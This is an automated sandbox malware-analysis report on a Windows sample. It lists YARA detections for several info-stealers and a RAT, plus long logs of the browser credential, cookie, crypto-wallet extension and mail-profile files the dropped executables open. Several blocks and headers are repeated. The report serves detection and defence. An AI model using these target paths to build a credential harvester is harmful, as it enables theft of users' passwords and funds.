Source: Yara match	File source: 0000000B.00000000.2582436692.0000000000612000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 25.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1sMfNqnOFjTOadWc0yClvu5P.exe.44f038.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1sMfNqnOFjTOadWc0yClvu5P.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1sMfNqnOFjTOadWc0yClvu5P.exe.44f038.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3242292566.000000000044D000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3391026946.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1sMfNqnOFjTOadWc0yClvu5P.exe PID: 2724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6160, type: MEMORYSTR

Yara detected RisePro Stealer

Source: Yara match	File source: 13.2.tDrDIT3EJ93dpzmmxTIMr4ah.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.lrPP7Py6j59vWWqs5P8cBSO1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.pnUE3Ri3AJFo6xuNgBEk3Rs_.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: lrPP7Py6j59vWWqs5P8cBSO1.exe PID: 5768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe PID: 5084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smXaUwB1apxcy5uQ1QhDrzwt.exe PID: 5532, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2646927857.0000000000D05000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe PID: 6512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 33.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: ~PColumnMasterKey_KeyStoreProviderNameNameP~PColumnMasterKey_KeyStoreProviderNameDescp~FSecurityPredicate_PredicateTypeDesc

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\signons.sqlite	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\places.sqlite	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\signons.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\logins.json	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini			Jump to behavior

Searches for user specific document files

Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe

Directory queried: C:\Users\user\Documents

Yara detected Credential Stealer

Source: Yara match	File source: 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 33.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.cWSgbiiWuHkrGD6e9Bvvb03z.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.2826325631.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2931931967.0000000003DD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.2582436692.0000000000612000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 25.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1sMfNqnOFjTOadWc0yClvu5P.exe.44f038.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1sMfNqnOFjTOadWc0yClvu5P.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1sMfNqnOFjTOadWc0yClvu5P.exe.44f038.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3242292566.000000000044D000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3391026946.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1sMfNqnOFjTOadWc0yClvu5P.exe PID: 2724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6160, type: MEMORYSTR

Yara detected RisePro Stealer

Source: Yara match	File source: 13.2.tDrDIT3EJ93dpzmmxTIMr4ah.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.lrPP7Py6j59vWWqs5P8cBSO1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.pnUE3Ri3AJFo6xuNgBEk3Rs_.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: lrPP7Py6j59vWWqs5P8cBSO1.exe PID: 5768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe PID: 5084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smXaUwB1apxcy5uQ1QhDrzwt.exe PID: 5532, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2646927857.0000000000D05000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe PID: 6512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 33.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.raw.unpack, type: UNPACKEDPE

Windows Analysis Report
tZvjMg3Hw9.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel
Provided by

Signatures

AV Detection

Compliance

Change of critical system settings

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

ID:	1434850
Product:	CloudBasic
Start time:	20:25:07
Start date:	01.05.2024
Sample:	tZvjMg3Hw9.exe
Cookbook:	default.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	fbb5534d3c24553179a13cc7b9c38685
SHA1:	4f14d7dc5d966672abd4700b054307e096b88b48
SHA256:	a1c687574b512e60c254447937836a11aca2ef11a928cf28c5e9e9138f7ce934
Filetype:	Win64 Executable (generic) (12005/4) 74.95%

Windows Analysis Report tZvjMg3Hw9.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Compliance

Change of critical system settings

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
tZvjMg3Hw9.exe

Malware Threat Intel
Provided by